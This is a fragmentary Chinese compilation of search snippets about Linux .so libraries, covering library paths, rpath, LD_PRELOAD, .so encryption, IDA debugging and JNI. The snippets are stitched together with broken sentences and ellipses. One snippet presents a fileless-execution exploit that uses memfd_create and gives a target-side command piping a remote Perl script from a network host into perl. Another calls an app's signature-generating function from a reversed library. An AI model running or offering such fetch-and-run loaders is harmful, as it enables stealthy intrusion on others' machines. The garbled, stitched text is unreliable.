在Linux中添加动态库路径可以设置LD_LIBRARY_PATH路径。...如添加/mylib动态库路径: export LD_LIBRARY_PATH=/mylib/:$LD_LIBRARY_PATH 除了上面方法外,我们还可以使用编译参数-Wl,-rpath=路径...-rpath为在运行链接时,会优先搜索-rpath的路径。 QMake写法1: QMAKE_LFLAGS为指定传递给链接器的一组常规标志。...QMAKE_LFLAGS += -Wl,-rpath=/mylib1 QMake写法2: QMAKE_RPATHDIR为指定在链接时添加到可执行文件的库路径列表,以便在运行时优先搜索这些路径。
下面的内容大多都是连接中的,穿插我自己的笔记 牵扯到ELF格式,gcc编译选项待补,简单实用的说明一下,对Linux下的so文件有个实际性的认识。 1.so文件是什么?...-lc: -l 是直接加上某库的名称,如-lc是libc库 -L 是库的路径,搜索的时候优先在-L目录下搜索 ———————————————————————— 一个头文件:s.h #ifndef...ELF文件本身执行时就会执行一个_init()函数以及_fini()函数来完成这个,我们只要把自己的函数能让系统在这个时候执行 就可以了。.../e&连续执行两次,那么初始化函数和解析函数也会执行两次,虽然系统只加载了一次libs.so。 如果sleep时候kill 掉后台进程,那么解析函数不会被执行。.../ts 关键就在LD_PRELOAD上了,这个路径指定的so将在所有的so之前加载,并且符号会覆盖后面加载的so文件中的符号。如果可执行文件的权限不合适(SID),这个变量会被忽略。 执行:.
查询执行文件路径方法总结 本文总结了查找执行文件全路径的几种方法。...也就是系统是可以通过程序名找到执行文件的,那这个路径信息是在哪里的呢?...HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths 对于所有注册了App Paths项的程序,都可以在这些位置找到程序的执行文件路径...所以,对于这些程序,我们也可以通过开始菜单来查找到执行文件路径。...通过查询快捷文件的信息可以找到对应的执行文件全路径。
/hello.sh【hello.sh必须有x权限】 二、直接sh 加上文件名.sh,如运行hello.sh为sh hello.sh【hello.sh可以没有x权限】 方法一:绝对路径执行.sh文件...到.sh文件所在目录 比如以hello.sh文件为例,如下 2、给.sh文件添加x执行权限 比如以hello.sh文件为例,chmod u+x hello.sh,如下图 3、..../执行.sh文件 比如以hello.sh文件为例,..../hello.sh 即可执行hello.sh文件,如下图 4、sh 执行.sh文件 以hello.sh文件为例,sh hello.sh即可执行hello.sh文件,如下图 注:用“./”加文件名.sh...执行时,必须给.sh文件加x执行权限
在MySQL下执行: source /home/jiangxingqi/DB/hello world.sql
so文件是Linux下的程序函数库,即编译好的可以供其他程序使用的代码和数据 linux下何谓.so文件: 用过windows的同学应该都知道 .dll文件吧, 这二者有什么共通之处呢,其实 .so文件就跟...与Java比较就是:它通常是用的Class文件(字节码) Linux下的.so文件时不能直接运行的,一般来讲,.so文件称为共享库 那么.so文件是怎么用的呢?...相当于一个可执行文件 -fPIC:表示编译为位置独立的代码,不用此选项的话编译后的代码是位置相关的所以动态载入时是通过代码拷贝的方式来满足不同进程的需要,而不能达到真正代码段共享的目的。 ...(2) 动态库的链接 这里有个程序源文件 test.c 与动态库 libtest.so 链接生成执行文件 test: 命令:$ gcc test.c -L....:表示要连接的库在当前目录中 -ltest:编译器查找动态连接库时有隐含的命名规则,即在给出的名字前面加上lib,后面加上.so来确定库的名称 命令:$ ldd test 注: 执行test,可以看到它是如何调用动态库中的函数的
创建sh后缀文件: touch test.sh #!
大家好,又见面了,我是你们的朋友全栈君 这篇是一系列的关于SO文件保护的自我理解,SO文件保护分为加固,混淆以及最近炒的比较火的虚拟机...加固就是将真正的so代码保护起来,不让攻击者那么轻易的发现,至于混淆,由于ART机制的介入,使得O-LLVM越来越火,这以后有机会再分析,这次主要是基于有源码的so文件保护,下次介绍无源码的so文件保护...,废话不多说,开搞 在这之前首先对elf文件结构有一定的了解,不一定完全了解,本菜鸟就不是完全懂,在文章开始之前有个知识点必须了解: 这两个节头要有所了解:.init:可执行指令,...ok,以上编写完以后就编译生成.so文件。...2.对得到的.so文件进行加密:这一块也是一个重点,大致上逻辑我们可以这么认为:先找到那个我们自己所定义的节,然后找到对应的offset和size,最后进行加密,加密完以后重新的写到另一个新的.so文件中
参考自:https://www.cnblogs.com/barfoo/p/4585392.html
注意:libtool在链接的时候只会涉及到后缀名为la的libtool文件;实际的库文件名称和库安装路径以及依赖关系是从该文件中读取的。...‘-rpath’跟’-rpath_link’的不同之处在于,由’-rpath’指定的路径被包含在可执行文件中,并在运行时使用, 而’-rpath-link’选项仅仅在连接时起作用. 3....通过上面的描述可以看到:-rpath指定的路径将被写到可执行文件中;-rpath-link则不会;我们当然不希望交叉编译情况下使用的路径信息被写进最终的可执行文件,所以我们选择使用选项-rpath-link...$ unicore32-Linux-gcc –o myprog /usr/lib/liba.so \ -Wl,–rpath-link -Wl,/home/UNITY_float/install/usr/...libtool中有一个变量“hardcode_libdir_flag_spec”,该变量本来是传递“-rpath”选项的,但我们可以修改它,添加我们需要的路径,传递给unicore32-linux-gcc
文件的,一般用于静态分析,我们要调试so的话,需要在打开一个IDA来进行,所以这里一般都是需要打开两个IDA,也叫作双开IDA操作。...所以libc.so是最基本的,所以会断在这里,而且我们还需要知道一些常用的系统so,比如linker: 还有一个就是libdvm.so文件,他包含了DVM中所有的底层加载dex的一些方法: 我们在后面动态调试需要...dump出加密之后的dex文件,就需要调试这个so文件了。...,得到对应的so文件,然后使用IDA工具打开so,找到指定的native层函数 2、通过IDA中的一些快捷键:F5,Ctrl+S,Y等键来静态分析函数的arm指令,大致了解函数的执行流程 3、再次打开一个...4>通过打开so文件,找到需要调试的函数的相对地址,然后在调试页面使用Ctrl+S找到so文件的基地址,相加之后得到绝对地址,使用G键,跳转到函数的地址处,下好断点。点击运行或者F9键。
02 技术核心 这里向大家介绍一个linux系统的底层调用函数memfd_create(2),它在内核3.17中引入,会创建一个匿名文件并返回一个文件描述符指向它,该文件表现和常规文件类同, 可以进行修改...memfd_create()调用时需要传入两个参数,一个是文件名,一个是MFD_CLOEXEC标志(类似于O_CLOEXEC),以便当我们执行ELF二进制文件时,我们得到的文件描述符将被自动关闭。...这里还有一个问题,如何将elf二进制文件写入到创建的文件当中,@MagisterQuis这里使用open函数将$FH内容添加进创建的匿名文件$fd当中,而$FH通过perl转化自要执行的elf文件,这就是该脚本的第二部分...第三部分就是执行该文件了,调用exec函数执行该匿名文件 ? 这里我们最后的EXP就生产好了,我们可以目标机上执行 curl 192.168.1.138/elfload.pl | perl ? ?...可以看到我们的elf文件最终以匿名文件的方式在内存中被加载执行了,从匿名文件运行的程序与运行于普通文件的程序之间唯一真正的区别是/proc/pid/exe符号链接。
继续2020年的flag,至少每周更一篇文章,今天讲linux无文件执行。...无文件执行 之前的文章中,我们讲到了无文件执行的方法以及混淆进程参数的方法,今天我们继续讲解一种linux无文件执行的技巧,是后台朋友给我的提醒,万分感谢,又学到了新的东西。...linux无文件执行,首先要提到两个函数:memfd_create 和 fexecve。...第二个函数,fexecve同样的功能很强大,它能使我们执行一个程序(同execve),但是传递给这个函数的是文件描述符,而不是文件的绝对路径,和memfd_create搭配使用非常完美!...的角度来说, execve无法获取执行文件的路径,从而实现了混淆。
---- 公司的硬件让我帮忙调用一个so文件,想着一直都没机会自己写一个jni,于是就答应了,在调用的过程中还踩了不少坑,特地写一篇博客记录一下。...二、编码前准备 2.1 首先将so文件放在项目resource文件夹下: 之所以放在该目录下,是为了方便编码过程中能动态获得该文件的路径,其实so文件可以放在任意路径下,只需在加载该so文件的时候,传入的文件的路径给加载器即可...,但在Linux下不会 , Clibrary.class ) ); // 此方法为so文件中的c语言函数1 -> int...我将项目直接部署到Linux是无法正常运行的,需要修改 Clibrary.java 类,因为Linux下使用getResource()方法获取到的路径是正确的,只有在Windows上调用getResource...但在代码运行时,还是报错了: 参考王小草的博客,发现在Windows下生成的so文件是无法在Linux上运行的,因为不同系统生成的文件的ELF header可能是不一样的,所以让硬件工程师在Linux
stx, etx, eot, enq, ack, bel, */ 255, 255, 255, 255, 255, 255, 255, 255, /* bs, ht, nl, vt, np, cr, so...1024] = { 0}; InitTable(array,13); XorResult(array,in, 0x53, out); 本地安装Clone 并配置cmake: 将上面代码编译成so...: g++ run.cpp -fPIC -shared -o run.so 编译后的搜放出来:传输门地址: https://wwi.lanzoup.com/izAEa027198d 使用python调用.../main.so") lib.freeme.restype = None lib.freeme.argtypes = [c_void_p] lib.getXhsShield.restype = c_void_p
PHP Startup: Unable to load dynamic library '/usr/lib64/php/modules/mysql.so' - libmysqlclient.so.16:...on line 0 ldconfig -v | grep mysql ls -lhrnt /usr/lib64/mysql echo /usr/lib64/mysql >> /etc/ld.so.conf
这些函数库如何使用 在基于GNU glibc的系统里,包括所有的linux系统,启动一个ELF格式的二进制可执行文件会自动启动和运行一个program loader。...这些定义缺省的是放在/etc/ld.so.conf文件里面,我们可以修改这个文件,加入我们自己的一些特殊的路径要求。...例如你可以临时为你特定的程序的一次执行指定一个不同的函数库。Linux系统中,通常变量LD_LIBRARY_PATH就是可以用来指定函数库查找路径的,而且这个路径通常是在查找标准的路径之前查找。...环境变量LD_PRELOAD列出了所有共享函数库中需要优先加载的库文件,功能和/etc/ld.so.preload类似。这些都是有/lib/ld-linux.so这个loader来实现的。...动态链接库.so文件的创建与使用 Linux动态库(.so)搜索路径 Linux 动态库与静态库制作及使用详解
最近需要支持国产的 UOS 系统,这个系统我采用了 Xamarin 加上 GTK 开发,而我的日志系统有一个功能是记录日志的时候传入当前的文件路径,此时 NuGet 包是在 Windows 下构建的,因此传入的路径是...此时在 Linux 上尝试获取文件名就炸了 在 dotnet 中,可以通过 CallerFilePath 特性获取调用当前方法的文件路径是哪个,请看下面代码 public void DoProcessing...因此在 Windows 服务器构建的 NuGet 包给日志注入字符串是构建服务器上的代码文件的路径 而我记日志只是使用了文件名而已,如下面代码 public static void LogInfo...下构建的在 Linux 下运行,而在 Windows 构建的库在 Windows 下执行。...系统的文件路径的坑,在这里被坑了几次了 更好的解决方法是在 Linux 运行的内容就在 Linux 构建,本来我的主项目也是在 Linux 构建的。
设置NDK路径:创建完工程之后先点击右上角的Project Structure按钮设置NDK路径,如果没有设置的话则使用IDE提供的下载路径。 ? ?...生成C\C++头文件:在Terminal中执行下面两句命令,可以看到在工程目录中会产生一个cpp文件夹,并且生成了MyNDK的头文件。 cd app/src/main/java ?...2)编译路径指定:android目录下的是告诉程序如何去编译,path是CMakeLists.txt文件目录的地址。...调用JNI:现在在我们声明的getHelloString()方法之前加载刚才声明产生的so库,然后再在程序中调用getHelloString()方法就可以执行so库中对应的C++代码了。 ?...开始执行:运行结果如下: ? 结束语 上面是小编自己学习使用CMake和Gradle编译so文件的详细步骤。